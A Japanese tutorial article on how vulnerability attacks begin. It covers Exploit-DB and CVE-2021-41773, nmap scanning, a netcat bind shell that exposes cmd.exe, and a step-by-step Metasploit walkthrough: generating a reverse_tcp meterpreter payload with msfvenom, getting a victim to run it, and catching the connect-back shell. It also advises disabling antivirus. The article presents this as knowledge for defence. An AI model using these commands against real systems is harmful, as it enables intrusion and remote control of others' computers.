ソフトウェアに脆弱性があっても、通常の機能を使う上では全く問題はありません。
しかし、ソフトウェア設計者、プログラマーの関心や意識のない機能外の箇所で、悪意のある処理を実行できるアクセスが可能となってしまっていることがあります。それを「脆弱性」と呼んでいます。
その脆弱性をついたセキュリティ攻撃の入り口を解説します。
攻撃者の戦術を知ることによって、逆に、セキュリティ対策をより強固にするヒントになると思います。
■ セキュリティ攻撃(Exploit)とは何か
「ハックする」とは、詳細が不明確な対象(ブラックボックス)について深く調査することで本質を理解し、対象をコントロールできるような状態にすることを言います。通常、決して、悪行を意味するものではありません。
一方、別の言い方をすれば、サーバで動作しているソフトウェアの脆弱性を悪意をもって調査し、サーバを乗っ取って掌握することを目的にしたとすると、それは悪行を示唆するものとなります。
セキュリティ攻撃とは、営業妨害のため故意にサーバの負荷を高め、アクセス不可とするような単純なものに収まらず、ハッキング行為によりサーバを乗っ取ることを言います。
そうすれば、機密データを取得したり、重要なデータを暗号化することで身代金の請求などが可能となってしまいまます。
■ 脆弱性情報の入手
脆弱性に関する情報は、Exploit Database(Offensive Security社が運営)などで報告されています。
このサイトでは、脆弱性情報を識別するCVE番号とその詳細情報へのリンク、そして、攻撃コード、脆弱性を保有する製品名、解析情報、対策パッチやバージョンなどを公開しています。
たとえば、CVE番号(2021-41773)の脆弱性情報(Apache HTTPサーバ version 2.4.49の脆弱性)は、以下です。
攻撃(Exploit)のサンプルコード、および、 サンプルのApache HTTPサーバ version 2.4.49 の動作環境一式がダウンロードできます。
https://www.exploit-db.com/exploits/50383
このCVE番号(2021-41773)の脆弱性情報(Apache HTTPサーバ version 2.4.49の脆弱性) の詳細を見ると、
デフォルト設定においてHTTPサーバ内のパス探索が可能で、CGIスクリプトなどが見つかれば、外部からそれを実行することも可能であろうと記載されています。
そして、次バージョン(2.4.50)にて対策済みとなったと記載されています。
このようなデータベースを使って、ソフトウェア製品にどのような脆弱性が検出されているのかを確認することができます。脆弱性のないソフトウェア製品やバージョンを選定することに役立ちます。
しかし、上記のような情報は、皆でリスクを共有できて有益な反面、攻撃者にとっても有益です。
ターゲットとなるコンピュータのポートスキャンをかけて空いているポート番号とプロトコル名を把握し、上記のExploit DBをプロトコル名で検索し、ヒットする脆弱性リポートを調査すれば、攻撃方法がわかってしまいます。
ウェイルスバスターなどのウィルス検出ソフトは、最新パターンファイルの更新によって、マルウェアなどの不正プログラムの実行には対処できるますが、守備範囲は限定的です。したがって、更新される脆弱性情報を確認し、見つかった脆弱性に対処していくことを継続するしかありません。これは、かなり骨の折れる作業です。
■ 代表的な攻撃ツール
セキュリティ攻撃を仕掛けるための代表的なコマンドやツールには、以下のようなものがあります。
・Kari Linux
侵入テストのために各種コマンドやアプリケーションがインストールされたLinuxに、”Kali Linux”があります。
以下に述べるツールを始め、多種多様なツールがあらかじめインストールされています。
・ポートスキャンコマンド(nmap)
コンピュータでオープンされている(リスニング状態)ポート番号を調査することができます。
これによって、侵入に使えるポート番号を知ることができます。
たとえば、次のコマンドでコンピュータ(IPアドレス=192.168.56.107)へ、0~655535のポート番号でオープンされているポートをすべて調査することができます。
nmap -sV -O -p- 192.168.56.107
・ネットキャット(nc)
コンピュータのポートに、TCP・UDPを使って、データを送受信することができます。
これによって、特定のポートに、任意のコマンドデータを送信したり、レスポンスデータを受信したりすることができます。
インストール(Linux)→ http://netcat.sourceforge.net/download.php
インストール(Windows)→ https://eternallybored.org/misc/netcat/
※インストール時の注意点として、ウィルスバスターなどが動作していると、即座に駆除されてしまいますので、
停止させておいてからインストールする必要があります。
ネットキャットは、クライアント側(接続する側)だけではなく、サーバ側(接続される側)としても実行することができます。さらに、接続時に実行するプログラムを指定することができます。
たとえば、サーバ側をWindowsで起動し、その際、Windowsのコンソールアプリであるcmd.exeを指定しておきます。クライアント側をLinuxで実行すると、Windows上でコマンドをLinuxから実行することができるようになります。(ただし、逆のことは、cmd.exeに相当するものがLinuxにはないので、サーバ側がLinuxだと同様のことはできません)
【サーバ側】
・ 接続するポート番号、接続された際に実行するプログラムを指定し、待ち受ける
nc -lvp 7777 -e cmd.exe
【クライアント側】
・サーバ側のIPアドレス、ポート番号を指定し、接続する
nc 192.168.56.101 7777
・Metaploit Framework
脆弱性がないかを確認するために、故意に侵入を試みるテストをペネトレーションテスト(侵入テスト)と言います。この侵入テストのためのパッケージソフトです。
あくまでも侵入テストのために作られているものですが、その矛先を変えれば、攻撃の手段として使えてしまいます。
Explot DataBaseには、Metaploitから使えるモジュールとして攻撃プログラムが準備された脆弱性がたくさんあります。Metaploitを使って、ターゲットへの攻撃をシミュレーションすることができます。
Metaploit Frameworkが提供するツールとして、攻撃ツール(msfconsole)があります。
ターミナルからmsfconsoleコマンドを起動すると、msfプロンプトが表示されます。
「show expolits」と打つと、各種攻撃ツールコマンドの一覧が表示されます。
たとえば、msfconsoleを使って、以下のような手順で攻撃を試すことができます。
①msfvenomコマンドによるターゲット上で実行するための実行プログラム(ターゲット用ペイロード)の生成
以下のコマンドで、TCPのリバースシェルと呼ばれるWindows上で動作する実行プログラム(ターゲット用ペイロード)を作ります。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.109 -f exe -o /root/myattack.exe
-p WindowsのTCPのリバースシェルを指定
LHOST 攻撃を仕掛けるmsfconsoleが動作しているコンピュータのIPアドレス
-f 実行形式ファイル
-o 生成する実行ファイル名のフルパス
このターゲット用ペイロードの機能は、LHOSTのIPアドレスにTCP接続(コネクトバック)をしてセッションを張ることです。
②ターゲット用ペイロードをターゲットのコンピュータに配置
この作業は、とてもアナログです。
まず、ターゲット用ペイロード をダウンロードさせるためにWebサーバを立ち上げます。
誰かがターゲットのWindowsコンピュータを操作している人に、Webサーバにアクセスしてもらい ターゲット用ペイロード がダウンロードされるのを待ちます。
(メールでダウンロードしたターゲット用ペイロードを添付してもいい)
以下のようにターゲット用ペイロード (myattack.exe)がWindowsのデスクトップ上にダウンロードされた状態とします。
③攻撃プログラムの実行(exploit)
msfconsoleで攻撃用ペイロードを実行します。
以下のように入力し、待ち受け状態とします。
use exploit/multi/handler 使用する攻撃用ペイロードが含まれる分類を指定
set payload windows/meterpreter/reverse_tcp 攻撃用ペイロードの設定
set LHOST 192.168.56.109 攻撃を仕掛けるmsfconsoleが動作しているコンピュータのIPアドレス
exploit 攻撃開始 → 待ち受け
④ターゲット用ペーロードからコネクトバック
これもアナログです。
ターゲットのWindowsにダウンロードされたターゲット用ペイロード (myattack.exe) が以下のように実行されるのを待ちます。
無事、上記のように ターゲット上でターゲット用ペイロード (myattack.exe) が実行されると、
msfconsoleでの待ち受けから抜けて、metapreterプロンプトが表示されます。
この状態になると、ターゲット上でコマンドを実行できるようになります。
⑤ハッキング開始
ここまで来て、やっとターゲットのハッキングをすることができます。
たとえば、Linux形式のlsコマンドで、フォルダの中を覗いたりなどすることができます。
helpコマンドで、用意されている攻撃用のコマンドも含めて表示できます。
実際、この後がハッキングの本番で、screenshotコマンドでターゲットのデスクトップ画面画像を入手したり、getsytemコマンドや別の攻撃用ペーロードを実行させ試行錯誤しながら、Windowsシステム権限を奪ったりします。
より自由にターゲットを操作できるようにするためにです。
■ まとめ
攻撃を仕掛ける準備するまで、調査も含めて、かなりの労力が必要です。
実際に攻撃を成功させるには身元がばれないための入念な調査と、事前に試行錯誤を繰り返して手順を確立する必要があり、さらに多くの労力が必要で、骨の折れる作業です。
しかし、リスクと労力をかけてでも、攻撃を仕掛けるには動機が必要です。たとえば、莫大な金銭が得られる、ターゲットに恨みつらみがあるなどです。ただ、いたずらを仕掛けたいだけでは、割にあいません。
誰もがターゲットになり得ることを想定し、重要なデータを守るには、原則、以下のようなセキュリティ対策を実施する必要があります。
・パケットフィルタリング
・通信暗号化
・ユーザ認証
・アクセス制限
・ウィルス検出/駆除ソフトの導入
・セキュリティプログラミング
ソフトウェア開発・システム開発業務/セキュリティ関連業務/ネットワーク関連業務/最新技術に関する業務など、「学習力×発想力×達成力×熱意」で技術開発の実現をサポート。お気軽にお問合せ下さい
For hottest news you have to go to see world-wide-web and on internet I found this
website as a finest web page for most up-to-date updates.